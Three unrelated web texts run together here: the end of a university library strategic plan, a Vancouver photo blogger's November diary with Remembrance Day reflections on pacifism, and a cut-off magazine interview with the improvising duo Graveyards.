other ideas. (Social Media Coordinator/Committee) Goal 4: Deepen Engagement with our Community Objective 4.1 Advance and promote SU’s engagement with our community. - Ongoing: Continue creating programming and exhibits that appeal to the community and publicize them. (Nabb Staff, D&I Committee) - Ongoing: Continue to offer display and exhibit space in the CRC for Seidel courses and for innovative faculty teaching. (CRC Coordinator) - Ongoing: Continue to maintain the Perdue Museum and Archives, as needed and funded. (Curator of Exhibits and Engagement, Local History Archivist) - 2020 and ongoing: Collaborate with local libraries, such as the Wicomico Public Libraries and the Wicomico County Board of Education’s libraries. (Dean, CRC Coordinator, Director of Collection Management) - 2020 and ongoing: Collaborate with local museums and historical societies on programming and exhibits. (Curator of Exhibits and Engagement, Nabb Director) - 2021: Publicize how to visit the Libraries for the general public (e.g., how to get a parking pass, GPS address) (Dean) - 2021: Standardize a process for community group visits, i.e., menu of things to do/visit: information literacy class, Nabb and CRC visits, exhibit tours, resources available, etc. (Coordinator of Library Instruction, Nabb Staff, CRC Coordinator) - 2021: Create a mechanism for gathering feedback from the community about how the SU Libraries could better support it. (Head of Circulation and Director of External Library Services) - 2021 and ongoing: Sponsor Little Free Libraries with donated materials. (CRC Coordinator with assistance from Director of External Library Services and Head of Collection Management) Objective 4.2 Expand engagement of alumni, families, and friends with the SU community. - 2020: Develop an “oral history corps” of students to interview alumni in preparation for SU’s centennial. (University Archivist and Special Collections Librarian) - 2020: Develop several “history of SU” programs—such as presentations or pop-up exhibits--that could be taken to alumni meetings around the state/region. (University Archivist and Special Collections Librarian) - 2020 and ongoing: Continue to try to engage parents and family members and educate them in how the Libraries can help their students. (Dean) Objective 4.3 Enhance and expand local partnerships. - 2021 and ongoing: Create small traveling versions of selected Nabb exhibits to continue them at other venues, such as local libraries and museums, civic spaces, etc. (Exhibits and Engagement Coordinator) Objective 4.4 Support community-based learning and community-engaged scholarship. - 2021: Promote PACE and civic engagement through exhibits, digital signage, and social media. (PACE Liaison) - 2023: Work with PACE on a library- or literacy/reading-related community project. (PACE Liaison) Goal 5: Enhance Environmental, Social and Economic Sustainability Objective 5.1 Serve as a leader in our region in providing educational opportunities that enhance social, environmental and economic sustainability. - 2021 and ongoing: Continue and expand focus on Chesapeake Studies through an annual or biennial conference and possibly other means. (Dean, Nabb Director) Objective 5.2 Aspire to lead local environmental sustainability initiatives and communicate those efforts to internal and external constituents. - Ongoing: Continue to provide a portal of library materials supporting sustainability via the Sustainability Resource Guide. (CRC Coordinator) - 2020 and ongoing: Provide SU swag such as reusable cups and other non-disposable/trash-sustainable items that encourage re-use. (Executive Administrative Assistant) - 2021: Perform an environmental audit of library operations. (CRC Coordinator, Executive Administrative Assistant) - 2021: Collaborate with the Office of Sustainability to help promote a method for students/staff to provide input on ideas supporting sustainability, such as providing a location in the GAC to submit ideas. (Head of Circulation and Assistant Head of Circulation) - 2022: Collaborate with Dining Services to encourage cup/mug reuse at locations in GAC. (Head of Circulation and Assistant Head of Circulation) Objective 5.3 Emphasize social sustainability at SU by promoting a resilient community - Ongoing: Continue and expand our collaboration with Food for the Flock. (Head of Circulation) - 2020: Expand Department Heads to include an elected representative of non-exempt staff. (Dean) - 2020-2021: Transition library promotion and permanent status processes to Digital Measures. (Dean working with the Associate Provost) - 2022: Transition annual evaluation process to Digital Measures for faculty. (Dean working with the Associate Provost) Objective 5.4 Promote economic sustainability by expanding effectiveness and efficiency practices and promoting a transparent process for strategic planning and budgeting. - Annually: Assess journal and database subscriptions and needs in academic departments, conducting regular usage analysis of resources and ensuring transparency regarding final add/drop decisions. (Head of Collection Management, Serials and E-Resources Librarian, Dean, Liaisons)

A November post during the Christmas season - that's a bit of a stretch, but jumping over time to reach the present doesn't seem to be an option for this blog, so the December one will follow later. In the meantime, my holiday wishes for you are reflected in these two pictures, shot seconds apart. They look over the Vancouver Rowing Club, and were taken November 2nd, on the way to work, just as the sun was thinking about peeking over the horizon. To me, they combine drama and tranquility in just the right balance, and that is what makes life good: enough drama to make your life colourful, but an overall sense of peace in your heart. That same morning, this was the view coming into North Vancouver on Marine Drive. Great start to the day! The next photos were taken on Thursday, November 4th. That was the last time for the semester that it was possible to catch some daylight on the way home. I came to this spot, and then.. dragged the bike down a long series of steps to the seawall. Sitting on the wall, legs dangling over the edge, it took just seconds before this juvenile eagle flew right over my head. I rocked back, and shot straight up. It was amazing that any picture resulted. Sometimes, the camera seems almost human in its effort to please. There was a large gathering of Surf Skoters some distance out in the water. Their features are distinctive, as is.. their way of surfing, scooting across the water. (just had an aha moment for the way they earned their name.) Dark was falling quickly, and standing up to leave, I noticed these trees off in the distance. This zoomed-in shot caught the shimmering shades of yellow/green/purple quite well - another super-human effort on the camera's part. November 5th, the forecast was for rain all day, and so the camera stayed home. Later in the day, biking homeward along the seawall, a breath-takingly beautiful rainbow appeared. Up the tempo a little bit, notice the smiles and gazes around me, hope to get home before it disappears. Not possible. All that was left when I emerged from my apartment, camera in hand, was a left-over glow and the memory of euphoria. Saturday, the 6th, there was warm light in the sky. The sculpture Brush with Illumination, positioned over the water and barely a two-minute walk from home, accommodates a large family (?) of cormorants. Expect lots of pictures, since I check on them nearly every day. Sunday, November 7th, the light and air had cooled considerably, but Fall colours brought their own glow. Living in Yaletown (some have termed it Yuppieville), one does not feel the land quite so truthfully as at Jericho, but there is much in the balance of nature and city life to love. Birds sit in the tree by my balcony, and last May, a grey whale chose to travel the False Creek water, a story that makes my present location all the more attractive. I feel quite sure that whale (or a close relative) will pay me a visit this coming Spring. In the meantime, Bill, Black Jack and I enjoyed a close up view of the water from the vantage point of this larger than usual Aquabus taking us to Granville Island. Normally, there are no open windows on these boats. Looking back to land, another aquabus, almost identical to the one we are on, comes to the landing. The building I live in is one of the smaller ones at the right of the picture. After our visit to Granville Island, we returned again to Yaletown. Bill and Black Jack walked up the ramp from the aquabus. The Erickson seemed to wave softly in the background. one of Black Jack catching the afternoon rays from the couch in my living room. Warning: for some reason, I've gone off on a long tangent describing the family history of that couch. Feel free to skip. The couch was originally in a small Presbyterian Church in my hometown village of Howick, Quebec. My father bought the church (I was christened there), and spent hours with Uncle Clarence (my mother's brother), drawing up blueprints to redesign it into a home for us. It then took him years to bring his blueprints to life. Although a gentle and very kind man, he was not one to suffer fools gladly. Whenever he hired someone to help him, he became disillusioned with their workmanship, and in the end, he did about 95% of the work himself, including hauling the logs home that were discarded after a small bridge was rebuilt in the town (he couldn't abide waste), and doing the plumbing and electricity himself (the latter signed for by an electrician friend). He did more with his grade 9 education than anything I've managed to do with my university one. My mother had the couch reupholstered, with instructions that I was to have it when she died. It travelled to Vancouver, not without misadventure in preparation for that trip. My sister and her husband spent the better part of 24 hours waiting for a dishonest mover whom I had hired over the phone. He didn't show up, but tried to charge several hundred dollars to my visa for his "efforts" (I had to cancel the visa). Finally, after many phone calls back and forth, a second mover was hired. Then, more time spent wrapping the couch (as well as a bookcase, table and chairs) in miles of bubble wrap, before my sister could finally see it off on its voyage. It is stuffed with horsehair, and is a bit of an acquired taste. I cannot honestly describe it as comfortable, but I love and appreciate it. The couch will stay in my hands as long as I'm alive.All that rambling, and you only get to see a sliver of the couch. Remembrance on November 10th and 11th Perhaps, the memory of my father is triggered by the fact that November 11th was, I'm fairly certain, the most important date on the calendar for him. It was the day his shoes were shone, the medals and best suit were brought out, and he and the local veterans marched around the perimeter of our small town to the cenotaph, after taking part in the one service of the year that brought all of the churches (United, Presbyterian, Catholic) together in the school gym. After the march, everyone met in the school cafeteria for sandwiches and goodies prepared by the legion women, and there was an order to the day that repeated, with little variation, from year to year. My father died, and I eventually moved away from Quebec. I wonder if they still prepare a similar Remembrance Day Service in that town. As I wrote that, I googled, and found an article written by Tad Mitsui in 2003. He doesn't say when he retired from the ministry, but says he served as pastor in Howick for five years after his official retirement. At least during those five years, the ceremony appears to have been going on much as I remembered it. But, the fact that a Japanese minister was hired in that closely knit community speaks volumes. His article expresses some of the inner conflict he experienced on Remembrance Day, since he was remembering the deaths of family members fighting on Japan's side. I read his article fairly quickly, but it is one I will go back to. These words in particular I wish to copy here. They are disturbing. The dropping of the first atomic bomb on Hiroshima, Japan on August 6, 1945 and the second one on Nagasaki a few days later led rapidly to the end of World War II in the Pacific. Earlier that summer in June, one beautiful day in a fishing port city of Numazu in Japan, to which I had been recently evacuated from Tokyo, I was walking home with my friend from school. Streets were covered by a canopy of fresh green leaves of the trees. An “All clear” siren indicated that bombers had left the area and it was safe to walk. We were happy, kicking stones and just fooling around like typical young boys. Suddenly there was the sound of a bomb falling from the sky. So we hit the ground and covered with our hands ears, eyes, and nostrils, as we were all trained to do during those last days of war. It was close; noise was deafening. When I got up, my friend was nowhere in sight. It was a direct hit. There was only a long piece of intestine hanging from a tree branch. My friend was blown to bits and blown away completely. His last paragraph is also one I wish to quote, since it adds a new dimension that I hadn't fully expressed in my other Remembrance Day posts. On August 6th each year during a commemorative ceremony at Hiroshima Peace Memorial Park, a few dozen names are still added to the list of those who died from the first atomic bomb dropped on humans more than a half a century ago. People are still dying as the result of sickness caused by nuclear radiation, some of who were mere fetuses in their mothers’ wombs in 1945. For a long time, Koreans who had been conscripted to work in factories in Hiroshima and who also died were excluded from the list of dead. Korean residents in Japan erected a separate monument in the Hiroshima Peace Park. I understand that there was a large prisoner-of-war camp in Hiroshima, mainly from Commonwealth countries. Many of them died when the bomb was dropped. I believe that they, too, should be remembered on the same day. The memorial at the Hiroshima Peace Park simply says, “Rest in Peace. We will never repeat the same mistake.” I believe that the pledge should be made to all who lost their lives on that day, regardless of nationality. I believe that war is evil. And all those who died in any war are the victims. They should not suffer the indignity of becoming ugly dead. I wouldn’t allow indignity to any dead person, but somehow people must be made aware that wars and result of wars are ugly - to both friends and foes alike. Remembrance Day should be the day to remember all the war dead regardless of their nationality or loyalty, whether they were soldiers or civilians, elderly or children. Then I will participate in it sincerely and wholeheartedly. My present school also goes to more of an effort to remember than any I can remember in my teaching career. As much as I appreciate that effort, I can barely listen to the words of invited veterans without tears of anger and sorrow and empathy welling up. It will always bother me that young men went and still go to war believing they are helping to build a solution for world peace. In fact, many are so young, they have no idea what they are getting into, until they find themselves in the midst of the action. So many die, and how can we count their sacrifice as anything but an abomination? It is wrong, in my mind, and when I listen to veterans who have been to the front, it seems to me that this is what they are telling us. War is wrong. So, with the greatest respect, I have made my remembrance about pacifism. I know/fear that my father wouldn't agree, and this makes me sad, but he didn't go to the front. He lost friends and relatives, but was too young to serve in WW1 and too old to be sent overseas in WW2. He enlisted, and worked as a mechanic on army tanks in Montreal. His training and the friendships he forged during this period of his life made it a time that he treasured. I feel his outlook would have been different, had he witnessed broken men on the fields of combat. Below are 100 candles with crosses, placed reverently by students of the art department at school, to honour the centennial year of the Canadian Navy. During our school assembly, students chosen to light the candles felt very privileged. This semester, we had 430 students, and each one of them shook the hands of our revered guests. Mr. Fred Mullen, seen at the far right, is now in his 90's and it is the fifth year that he has spoken to us. He was a radar technician with the Royal Canadian Air Force. I treasure his contribution to the ceremony and I know the students do as well. It is always my hope that our students, representing 30 countries of the world, will understand that peace cannot be a product of war, but rather of bonding with human beings of other cultures and knowing that the likes of disturbed individuals like Adolphe Hitler cannot succeed if those ties are strong. Some of the people who attended our school assembly were Leading Telegraphist Bob Bell (I believe, 3rd from the right in the photo below), who served with the Royal Canadian Navy during the WWII Battle of the Atlantic. Master Seaman Matthew Williams (4th from the right) represented the modern Navy. Mr. Fred Mullen (2nd from the right) and Mr. Ken Bradbury (I think he is at the far left) represented the Royal Canadian Air Force (WWII). Mr. Frank Zantolas (at the far right) represented the Canadian Army (Italy and Germany – WWII). There are three others in that photo and it makes me sad that I didn't have the time to make certain of each visitor's name. The assembly is a busy one for me, as there are musical contributions. This year, a wonderful student group sang, "A Pittance of Time." You can find a video of that song performed by the composer, Terry Kelly, posted by one of my favourite bloggers at her site: Penelope Puddlisms. I have just read over these remembrance thoughts, and almost deleted them. The same thoughts were expressed in 2008 and again in 2009. It occurs to me that I haven't done a lot to bring about peace, but then, I comfort myself. Perhaps, every person declaring a pacifist philosophy is a step in the right direction. With the school ceremony over on the 10th, I spent the holiday on the 11th walking with Black Jack, away from gatherings, but still heavy with thoughts of remembrance. Red flowers seemed to turn up everywhere. These were along Marinaside Crescent, overlooking False Creek. Nearby, there is an art project by Christos Dikeakos and Noel Best called Lookout. The first part of the project is shown at the link. The second component is a perimeter railing with glass panels. The panels are inscribed with sandblasted words written in consultation with poet Robin Blaser. The picture below is poor - I shot it with the huge lens, only wanting a reminder once I returned home of some of the words. I understood, but learned more after exploring this art a bit more on line, that the words reflect the industrial life that existed along False Creek before Yaletown became yuppified. (I say that fondly, because I am really growing to love this place.) There are many words, and I know I will come back to this topic, but "the roughness of this place not even a memory now" had a dual meaning for me on Remembrance Day. The next three photos show some of the carved images in the panels in part 1 of the project. They can be seen from both sides of the panel, and reflect the many sights (and sounds in my mind) one might have encountered along that waterfront not all that long ago. the eleventh hour approached. As with my experience last year at Jericho, I heard the deafening noise of the Aurora in the sky, followed by some of the smaller planes, possibly from a club called The Fraser Blues. The sky was very, very grey, reminiscent of typical Remembrance Day weather, no matter where I have been at the time. One more of the Aurora before we made our way home. Once home, I sat on the living room floor with the balcony door open just enough to point my camera at birds on the railing. This little one was staring intently at the feeder, and preparing to zoom in for the catch. As I was enjoying the birds, it seemed my Remembrance Day was not quite over. Through that small opening in the door, I saw these four planes do what I believe was their last fly-by. Still sitting in the living room, and pointing the camera upward, it was incredible to me that it caught all four planes. Another super human effort. and of this lovely flower. At school, our theme for this year was, "We Remember". It was a pittance of time that we took, but perhaps a step in the right direction. This next Blue Heron series was taken on Sunday, November 14th. It represents pretty much the only comic relief of this post. Phew! The heron first appeared as we walked along the seawall path, somewhere between the Granville and the Burrard Bridges. The path is shown really well at this site, called "bearspage" and just discovered. I love it, because all of the pictures represent my ride to and from school. Here is the link to bear's home page. It really is an excellent description with beautiful photographs of the seawall routes around Vancouver. But, back to the heron. It was fishing along a dock where boats were moored. Suddenly, it standing up very straight and very alert, it walked forward.. and made a sharp right turn to approach the other side of the dock. It leaned over, and I sensed this was more than a random search. It was sure of success! Then, it stood, enjoying its little fish (Can you see it?) while at the same time peering in the window of the boat. The fish now on the way down its long neck, I wondered what the heron saw through that window. My Peeping Tom heron story. The following Tuesday, November 16th, I saw the first Hermit Thrush since November 27th, 2009. (There is also a Varied Thrush in that post, but the Hermit Thrush is near the end of the post.) The tail movement, with quick flits up and down, is really distinctive, so unlike the last sighting, when I really wasn't sure I had identified correctly, this time I feel fairly certain of the id. Lovely little bird, but quite difficult to catch in a photo. They really move quickly. There it goes. I wonder if it will return again next year. On Saturday, the 20th, there was snow in Vancouver, and I couldn't ride my bike to school for the music club rehearsal. It was fun, for a change, to take the seabus, and to see the North Shore mountains, almost ready for ski season. The Autumn leaves seemed shocked, some of them having escaped the worst of the snow, but.. others caught under ice crystals. The next morning, I woke up, and looked across the street to see this group in David Lam Park. They appeared to be rather cold and miserable, and I googled to see what the significance could be of their green-umbrella gathering. I found this information about a public art exhibition that was to be large enough to be seen from space. Somehow, with the very dense cloud cover, I suspect it may not have worked out as well as hoped and planned for. Interesting idea, though. Perhaps next year. The sun came out later in the day, and this House Finch on my balcony was so pretty, I later used the photo to make a few Christmas Cards. This little bird gave me the most comical look. It came right to my open balcony door and peered in. I think it was telling me to hurry up and replenish the food supply. It makes me smile every time I look at the picture. The Roundhouse is around the corner from my building, and this art, very high on the wall, only caught my attention more than two months after moving to the area. I would never have guessed its meaning, and neither will you from this poor photograph. I am still a bit unnerved by that shoulderless arm, but you can find a little bit more information about the artwork here. A close-up of one of the birds at the top of the sculpture. There are many public art pieces in the area, and I'm loving the discovery of each one. Only yesterday, I found a new one (to go in the December blog.) The last pictures for the month were taken on Saturday, the 27th. Bill had come to North Van to pick me up after the music club, and we took a walk along the shore. It was a cold, dreary day, but Bill warmed the atmosphere, as he always does. Here, he tells Black Jack.. to look at the camera, and smiles when she follows his instructions. (She usually does.) This cormorant conducted a choir of seagulls under the vacant osprey nest. We looked wa-a-ay up to see a spec in the sky, and the camera gave me one more superhuman effort in managing a glimpse at what I think may have been a Red-tailed Hawk. That was November. If you have made it to the end of the month with me, you really do deserve some sort of endurance award:) Thank you for reading! Carol, what a full month rich with experiences, sights and sounds. Your camera does appear to have some special power designed to please you. The nature photos are lovely as always. Your couch story was interesting, indeed. Imagine you living in a reconstructed church as a child. How cool is that! Also, I could relate to your thoughts about war. It is not easy to speak out on such matters but thank goodness some people do. Thanks for sharing your November. I look forward to more in the near future. :) Your post is a memorable reflection upon the beauty of nature and the somber remembrance of ugly war. Nature can be ugly but can never compare with the massive scale of mankind's efforts at destruction. When I despair of ever continuing wars in this century I re-read an article called Why is There Peace. A quote: "...violence has been in decline over long stretches of history, and today we are probably living in the most peaceful moment of our species’ time on earth." You may think that quote is too Pollyannish but read the article before you decide. What a great read and so many lovely photos - but those first two photos just blew me away. Beautiful, simply beautiful. Saying that your beautiful photos are the result of a great camera are like saying that a successful writer must have an excellent word processor. Please take some credit for your great eye, remarkably steady hand, hours of practice, and amazing patience. You deserve it! Nice blog.you can also visit our website that provide Electrician Howick services for your home..

Dusted Features Beyond the Grave: An Interview with Graveyards Dusted's Scott McKeating talks to Ben Hall and Hans Buetow of free jazz limit-pushers Graveyards. Where in the past genres have merged with each other (a lá indie-dance), they are beginning to truly burst their banks. As well as rendering infinitesimal subgenres obsolete and anal, it’s becoming totally pointless try to label this current generation of improvisers. Ben ‘Hell’ Hall and Hans ‘Bunny’ Buetow are among this wave of artists who are scything a path between once disparate movements. Playing percussion and cello respectively they provide much more than just rhythmic support, this pair push both instruments beyond their ordinarily defined means. As well as comprising two thirds of Graveyards alongside Wolf Eyes’ John Olson and being members of Death Knell and Mêlèe, they run their own first-class label. In this interview, Hall and Buetow talk very modestly about their collaborations, running brokenresearch and what it takes to improvise. How did you each progress from learning to play your instruments to improvising? Ben: I was just a half-assed drummer most of my life fooling around on other people's kits and drum machines. When I was a kid I would kind of hit anything in the house but we couldn't afford drums and they didn't really have a music program at my school. Then in the early nineties I got fairly serious into conga playing. I started studying it with a local guy and then the both of us started studying with Jumma Santos [aka Jim Riley] who played on Bitches Brew and with Kalaparush and Julius Hemphill. But I wasn't really satisfied formally or timbrally with the options and moved to kit when I was maybe 22. Hans: For me, it was watching Ben play a concert with John Voigt and Kat Hernandez that got me to improvise. I went up to him after the concert and told him that although I had no idea what had just happened, I thought I liked it. He thanked me and told me that he'd always wanted to play with a bassist regularly, and so if I was interested, he would love to get together. In my mailbox the next day I found a couple of CD's, including Peter Kowald, which I listened to several times before returning it to him. I said I liked it, but couldn't begin to do what he did, much less think in that way. Next semester Ben invited me to a rehearsal, and because he was so much bigger than me I said yes. I remember having the moment driving to the rehearsal where I steeled myself up and said to myself that even though I might have no idea what was happening, or where to go, I would continue on without fear. So we hit with this great horn player Philip Wofford, and I looked from him to Ben and back for the first half a minute of the first piece. I could see them bouncing and fighting off each other, and loved it, but couldn't see where the space was for me or how I fit into it. So I took a deep breath, put my head down, and just started. I haven't looked back. So do you two feel you play more 'with' each other or 'off' each other? H: I would have to say both. We've spent a lot of time playing together, so we've seen each other at a lot of extremes. We have a sense of the general areas that the other might inhabit, so our possible collective universe is pretty big. I think that within that universe, it seems like a blurred line as to whether a decision is reactionary or complementary. We don't want to monkey each other, but we want to have some symbiosis in our ideas. We've done a lot of exercises in our practice to become comfortable with distance between us both with sound and ideas. I think that opens the relationship up to being able to be independent, yet linked by the information that exists in a piece. B: Yeah, a little bit of both. In school we basically developed a ton of exercises and structures that helped us hear each other particularly in large group situations or in situations where people were playing their instruments or dancing in an improvisational setting for the first time. Because of Bennington's [College in Vermont] liberal approach to education, liberal in the sense that they are concerned with broadening a person's general experience and knowledge, rather than a person's technical or professional experience, we would find ourselves together and separately playing in ridiculously awkward situations. The default for most of the people who were at the top of their respective departments was not to suffer fools gladly but to bitch. So we still bitched of course but it seemed in our best interest to still try to end up with the most formally adept compositions possible, regardless of other parties listening, technical and/or compositional abilities. Was this difficult? B: I think many of those really difficult situations, particularly with 21 yr old kids who already thought they were improvisers (dancers and musicians) and that they had already begun their careers because they performed a single workshop piece in NYC, those paid the most dividends. Those people, men and women, tended to think that what they were saying was important so it became a matter of if someone plays constantly for 45 minutes and you don't agree with their choices how do you build off of that? Well in school we were playing together 10 -15 hrs a week and we would get to assess these different situations and try to figure out how to participate, make it aesthetically viable in our minds and not be all sour grapes about it. How did you get together with John Olson? B: Olson and I started playing together in 97/98. A local promoter introduced us at the Gold Dollar and as Olson says, mind you he was playing drums more then, "I had to check out the competition." He totally ambushed me that night because I showed up at his crib thinking it was going to be a traditional drums/sax thing and he has all of these homemade horns and amps and electronics. Basically, he tried to sonically bully me. I probably played louder, faster and longer that I ever had up to that point. I was still playing all of this traditional west African stuff and those dudes are real bullies and way into stamina playing the same rhythm really, really fast for two and three hours and showing each other up, real cutting. So as soon as I recognized that was the deal with Olson I had it locked. We went upstairs after the jam and talked and he was way down and I was way confused, having never heard anything like what we had just played. We've been down since then. H: I met him at a bar I worked at. I was coming onto a shift where there was some dishevelled guy wearing goodness knows what – probably a little off. Wasn't too stoked to wait on him first thing in my shift, and then I heard him talk. Even less stoked to wait on him, because it made no sense at all. But then it turns out he not only knows Ben, but used to play in a band with him. He told me that it'd rule if we could jam. A year or so later we finally hit for the first time. What do you think makes Graveyards work? B: Thanks I'm glad you think it does but I'm not entirely convinced. And I'm not being coy I just think we've got a lot of work to do. H: I have to agree with Ben on this one. I think there's a lot of work to be done on it. We're moving in a lot of new directions at once, and it feels like there's a lot of work getting done. I guess I could say that what makes Graveyards work is its restlessness and searching. That seems to be the consistent and most locomotive factor. B: The stuff Olson puts out is kind of from the Wolf Eyes production perspective and therefore there is a lot of conceptual repetition though that's not always apparent because of the fidelity of his recordings. The stuff we put out it is usually culled from a lot of recording, probably 50 minutes or so for every 20 hours of recorded material. I'm happier with some of those things than others. And of course that's only the stuff with Olson that doesn't account for the Death Knell / Hell & Bunny stuff or Melee our trio with trumpeter Nate Wooley. To go back to the question – in terms of aesthetics Bunny and I have some really defined ideas about how we want to make music. As long as the making part of it falls into those constraints the actual sound product usually follows a certain trajectory that we'll be satisfied with to varying degrees. People like it and I can't be mad at that. What release you've both worked on has been most satisfying so far? B: As Graveyards, probably the new LP and CD that just came out, Bare Those Excellent Teeth 1 and Unmarked Graves respectively. The mastering on the LP leaves much to be desired since I'm playing my classical kit which includes a 33" tymp and a 54" concert bass drum and is basically all of this bass clef stuff that is low frequency and well-captured in the recording but got lost during mastering. And the Unmarked Graves stuff is much more recent and Olson is playing electronics on one piece and the stuff he does on electronics is absolute magic for me. H: It's hard to say. I think that the first recording we ever did The Accuracy of Coincidence, which was a quintet record with percussion, flutes, and bass, was really a big moment for us. Ben and I had been working hard together laying down the groundwork for the systems we operate in now, and it was the first time that we were really put in a position to have to articulate those systems to other players in a concise manner. And then, even after we had explained it as best we could, we had to let go of the control and let each member of the ensemble act in their own way. It was one of the first real tests for the theories we'd been developing, and I think we'd both agree that it is an exceptional document of that time period for us. Besides the musical challenges, it was the first recording we'd done, which launched us into a whole new set of ideas and priorities in terms of documenting music and the elimination of the preciousness of individual recordings that comes from having ready access to recording equipment. There seem to be a smattering of project names, is each name used to cover just combinations of personnel or different ideas? H: I think it's an awareness issue, or at least an issue of intent. We concentrate a lot more on form, composition, and structure with our music than we do with vocabulary, so I think that focus requires us to approach each situation with a baseline of openness to the other players. With players who focus almost entirely on the vocabulary they might pull out during a piece, it doesn't necessarily matter who else is sitting with them in the room – they'll play essentially the same set of tricks regardless. They may flex some based on wide sweeps of information that require them to adjust, but in general they could be playing in any situation and their ideas would remain focused in the same way. With us, I think we're doing the same thing - bringing the same focus each time we sit down to play. Because our main focus is on the shared elements of a piece rather than the personal elements, however, playing with different people can create radically different music. So I think we try to maintain the same ideas of openness, listening and a concentration of form in any playing situation, but as different people move through the system, we have the opportunity to go places that we wouldn't get to otherwise. B: A little bit of both. Basically the response mechanism between any given third and us is remarkably different because of what each person offers as an instrumentalist, improviser and composer. I mean the music we make with Olson vs. a local jazz guy like Joe Lijoi that we play with is almost different to the point of being unrecognisable in terms of formal elements even though they are the very same elements. But in any of those situations we would hope that they are going to sound largely different based on our ease of communication and compromise for the sake of the composition rather than for us as instrumentalists. Composition by proxy is a piece of cake when everybody has their game tight and has no issue in subverting their personal musical goals for the sake of the composition. Have you had to defend your music against 'haterz' yet? B: In school, but not really in the world. At this point we have a firm grasp of what we're doing, how to do it and how we arrived here. People in the game might say something but they don't say it to me. And the occasional show we play in an awkward bar setting is still generally well-received and again nobody ever steps to me saying we sucked or whatever. And even at that I wish they would if it was critical with something behind it. H: In the free jazz/free improvisation scene there was a lot more chest beating and glowering, but now that we find ourselves almost entirely and happily ensconced in, for lack of a better term, the noise scene, people come at us with enthusiasm, openness and a genuine interest in a new extreme that they might not be familiar with. So unless people are whispering behind their hands, we haven't really had to settle any beef with anyone. Can anyone learn to improvise well? B: I think so but it’s definitely better suited towards some personalities. But then again we’d have to go back and define improvisation also. H: We all improvise well. Anyone who speaks, walks, moves, blinks, or otherwise has any experience interacting with the world is a born improviser. Most of, if not all of our daily life is improvisation in some manner. We are constantly taking in information, assessing and evaluating it, and then responding to it in the same moment. I remember having the experience in college of walking through the cafeteria one day the wrong direction at a peak meal time. I was carrying a plate of food in one hand, and two glasses of something to drink in the other. I had my bag on with all my books, and was moving against the throng to get to a table. As I was moving and dodging, I remember very clearly having a realization of just how much information was coming into and being processed by my system at that moment. I had to deal not only with my own changing position in the room and the objects I was trying to keep upright and in my hands, but also with the changing positions of a crowd full of people or varying heights, widths, and speeds, each of whom had as much control over the space as I did. The most impressive part of my ability to move seamlessly through everything, though, was not just that I didn't bump into anyone, but that it wasn't a taxing manoeuvre. I could very easily have been thinking about my laundry, or my composition homework, or daydreaming about puppy dogs and rainbows, and still made it through that crowd without really paying that much active attention. To me it was a big moment to realize that we are all constantly improvising at every moment with every action, and the only challenge was figuring out how to translate that into music and put it on stage. Your label, brokenresearch, is starting to pick up a lot of attention. The releases all look absolutely gorgeous it seems a shame to open them. Is that art-look an important aesthetic to you? H: Very. We're interested in the idea that these are not just musical objects, but art objects of a particular type. They're all hand-made and numbered, so each one has slight differences from the other. We like the idea that we're making these objects or things that are personally important to us, and are then able to share it with people in a personal way. Feels like a handshake, almost. B: Thanks again. My degree in school was in painting and printmaking because I had butted heads with the music department, so it all just kind of fits together in terms of the making of the object. Again I personally don't really think it's there yet but it gets a little asymptotically closer with each release. What has been the most satisfying thing so far about the label? B: Just making it happen. I used to be really deep into collecting and there are pieces that I still know nothing about and that completely fracture my skull and I really like becoming part and parcel to that continuum. H: The most significant thing for me with brokenresearch is how it has helped change our concept of the preciousness of recorded objects. Before setting up our studio and having nearly unlimited digital recording access round the clock, the idea of making a record was a daunting, heavy task to be considered and undertaken with great care. Because we couldn't record absolutely everything and cull what we wanted to from that, there was a certain pressure that would build up around the limited recording time and resources we did have. Now that recording and practicing are synonymous, we appreciate the idea of making documents of what we're working through, culling down to the essentials of the ideas, and then letting them out into the world to get away from us. We aren't interested in hanging onto them as OUR RECORD THAT WE MADE. We think of them as what they are, simple documents. Living with that change of idea has really helped release a lot of pressure and make room for what we consider to be a healthier relationship with the impermanence of the product. It means that we don't have to hold onto what we've done in the past in the same way. Can I ask what Jazz means to you? B: Max Roach? No clue at this point. Wack answer I know, but I don't think about jazz much as a concept or type of music save for listening in a non-critical, feel-good let's-water-the-plants kind of way. Occasionally I'll hear some Joe Chambers or DeJohnette thing that I go in the studio and try to deconstruct it. H: It doesn’t mean much. I really love some of the stuff that people sit me down in front of, but I don't seek much out on my own. To tell you the truth, I actually have a rather small base of musical listening from which to operate. I know quite a bit about some small things, but there's a huge range of stuff that I have just plain missed. One thing, for example, is that I've never heard The Beatles' self-titled album, and didn't hear Led Zeppelin until about two or three years ago. It just wasn't in my sphere, and I guess I was just too busy with what was in my sphere to go look for it. Jazz is sort of the same way with me. Personally, I'd rather put on a field recording of religious ceremonies in Ghana, or plough through a Mahler symphony or a Feldman piece as my default. Aren’t you guys sometimes categorised as a subgenre of Jazz? B: I don't really regard our music as being under the jazz rubric at this point. H: I have a neutral relationship to jazz because of the time I spent butchering it in high school and college. Back when I played jazz, I hated playing the bass, which made me hate playing the music. I think that relationship still exists for me, because I have absolutely no interest in playing jazz. No RealBook stuff, at least. I still have a lot of latent bad feelings about student jazz, and unfortunately up to this point in my life that's coloured how I hear the jazz canon. Do you feel that 'Free music' has become more openly accepted in the 00s than any other decade yet? B: I'm not sure because I don't keep my finger on the pulse. If it is growing and we happen to be part of that then I'm thankful for the serendipity. H: I haven't really listened to much free music in my life, so I don't have a lot of context with which to address that question. Don't you class what you do as 'Free music'? H: The most familiar classification for what we do is probably 'free improvisation', but at this point, it's a little hard to say where we fit into that idiom. Though we are improvising what we do, I wouldn't say that at this point what we put out can really be associated with free. We're much more interested in the ideas of emergent form as a method of spontaneous composition. We don't believe in true freedom within a piece, because there's always going to be some sort of constraints (be they self-imposed or pre-arranged) that act on ones decisions within a piece. So as we're playing, we're focusing on being able to recognize and respond to those forms in real time. For me, it feels much more akin to composition than to free playing, be because the issues that we're dealing with in terms of vocabulary and organization of sonic ideas seem to be more closely associated with that methodology than with 'improv'. Personally, I think that the term 'free improvisation' is a somewhat misleading moniker. Our friend and sometimes playing partner Mike Khoury has started to call what we do 'New American Improvisation'. That sounds much better to me. That or chamber music. B: The best way I can explain how I think about it is pretty much the way I answer anyone who asks me what kind of music I play. I pretty much always respond "classical", then I tell them to imagine if the instruments were incredibly damaged or that the charts were partially destroyed and therefore illegible in places and that actually the people making it have only the vaguest idea of what music is supposed to sound like. I think the formal elements are there but our response to recognizable form is usually to first, slow it down, way down, and second, eradicate whatever sentimental musical 